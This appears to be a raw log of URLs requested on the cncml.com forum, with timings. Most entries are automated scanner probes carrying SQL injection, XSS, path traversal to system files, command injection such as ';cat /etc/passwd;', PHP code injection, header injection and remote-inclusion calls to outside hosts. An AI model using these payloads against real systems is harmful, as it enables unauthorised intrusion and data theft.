http://www.cncml.com/data/?user-space-1' 0.0001 http://www.cncml.com/data/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/data/attachment/forum/201302/23/114210rr27f4v2f9zr4i2i.jpg 0.0001 http://www.cncml.com/data/attachment/forum/201305/13/122005ieekoez0tqqk0zng.jpg 0.0016 http://www.cncml.com/data/cache/ 0.0009 http://www.cncml.com/data/cache/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/data/cache/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/data/cache/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/data/cache/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/data/cache/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/data/cache/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/data/cache/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/data/cache/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/data/cache/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/data/cache/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/data/cache/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/data/cache/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/data/cache/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/data/cache/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/data/cache/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/data/cache/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/data/cache/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/data/cache/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/data/cache/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/data/cache/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/data/cache/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/data/cache/?overview 0.0001 http://www.cncml.com/data/cache/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/data/cache/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/data/cache/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/data/cache/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/data/cache/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/data/cache/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/data/cache/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/data/cache/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/data/cache/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/data/cache/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/data/cache/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/data/cache/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/data/cache/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/data/cache/?user-getpass-1' 0.0001 http://www.cncml.com/data/cache/?user-space-1' 0.0001 http://www.cncml.com/data/cache/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/data/cache/admincp.js?ZZS 0.0001 http://www.cncml.com/data/cache/ajax.js?ZZS 0.0002 http://www.cncml.com/data/cache/autoloadpage.js?ZZS 0.0001 http://www.cncml.com/data/cache/common.js?ZZS 0.0047 http://www.cncml.com/data/cache/common_diy.js?ZZS 0.0001 http://www.cncml.com/data/cache/common_extra.js?ZZS 0.0038 http://www.cncml.com/data/cache/forum.js?ZZS 0.0015 http://www.cncml.com/data/cache/forum_viewthread.js?ZZS 0.0014 http://www.cncml.com/data/cache/home.js?ZZS 0.0008 http://www.cncml.com/data/cache/index.htm 0.0001 http://www.cncml.com/data/cache/logging.js?ZZS 0.0039 http://www.cncml.com/data/cache/md5.js?ZZS 0.0047 http://www.cncml.com/data/cache/mobile_siteqrcode.png 0.0001 http://www.cncml.com/data/cache/portal.js?ZZS 0.0031 http://www.cncml.com/data/cache/portal_diy.js?ZZS 0.0001 http://www.cncml.com/data/cache/seditor.js?ZZS 0.0010 http://www.cncml.com/data/cache/style_85_common.css 0.0001 http://www.cncml.com/data/cache/style_85_common.css?TBS 0.0001 http://www.cncml.com/data/cache/style_85_common.css?ZZS 0.0034 http://www.cncml.com/data/cache/style_85_css_diy.css?ZZS 0.0001 http://www.cncml.com/data/cache/style_85_forum_forumdisplay.css?ZZS 0.0003 http://www.cncml.com/data/cache/style_85_forum_index.css?ZZS 0.0003 http://www.cncml.com/data/cache/style_85_forum_viewthread.css?ZZS 0.0012 http://www.cncml.com/data/cache/style_85_home_space.css?TBS 0.0001 http://www.cncml.com/data/cache/style_85_home_space.css?ZZS 0.0004 http://www.cncml.com/data/cache/style_85_member_register.css?ZZS 0.0001 http://www.cncml.com/data/cache/style_85_portal_index.css?ZZS 0.0021 http://www.cncml.com/data/cache/style_85_portal_list.css?ZZS 0.0001 http://www.cncml.com/data/cache/style_85_portal_view.css 0.0001 http://www.cncml.com/data/cache/style_85_portal_view.css?TBS 0.0001 http://www.cncml.com/data/cache/style_85_portal_view.css?ZZS 0.0004 http://www.cncml.com/favicon.ico 0.0028 http://www.cncml.com/forum-43-1.html 0.0001 http://www.cncml.com/forum-43-10.html 0.0001 http://www.cncml.com/forum-43-4.html 0.0001 http://www.cncml.com/forum-43-5.html 0.0001 http://www.cncml.com/forum-43-7.html 0.0001 http://www.cncml.com/forum-43-8.html 0.0001 http://www.cncml.com/forum-43-9.html 0.0001 http://www.cncml.com/forum-52-1.html 0.0001 http://www.cncml.com/forum-admins-1.html 0.0004 http://www.cncml.com/forum-admint-1.html 0.0007 http://www.cncml.com/forum-adminw-1.html 0.0011 http://www.cncml.com/forum-queqiao-1.html 0.0004 http://www.cncml.com/forum-shop-1.html 0.0009 http://www.cncml.com/forum-zy3d-1.html 0.0007 http://www.cncml.com/forum-zy3d-2.html 0.0001 http://www.cncml.com/forum-zyhh-1.html 0.0011 http://www.cncml.com/forum-zyhh-2.html 0.0001 http://www.cncml.com/forum-zyhh-26633.html 0.0001 http://www.cncml.com/forum-zyhh-3.html 0.0001 http://www.cncml.com/forum-zyhh-7.html 0.0001 http://www.cncml.com/forum-zyxz-1.html 0.0010 http://www.cncml.com/forum.php 0.0012 http://www.cncml.com/forum.php?%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%3Cdir 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=(SELECT%20(CASE%20WHEN%20(11=27)%20THEN%200x706F7374%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=dir 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=phpinfo 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post 0.0014 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%00' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25%27%29%20AND%2015%3D34%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25%27%29%20AND%2065%3D65%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%2017=17%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%2082=11%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/forum.php?action=reply&tid=186&replysubmit=yes&infloat=yes&handlekey=fastpost&mod=post%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 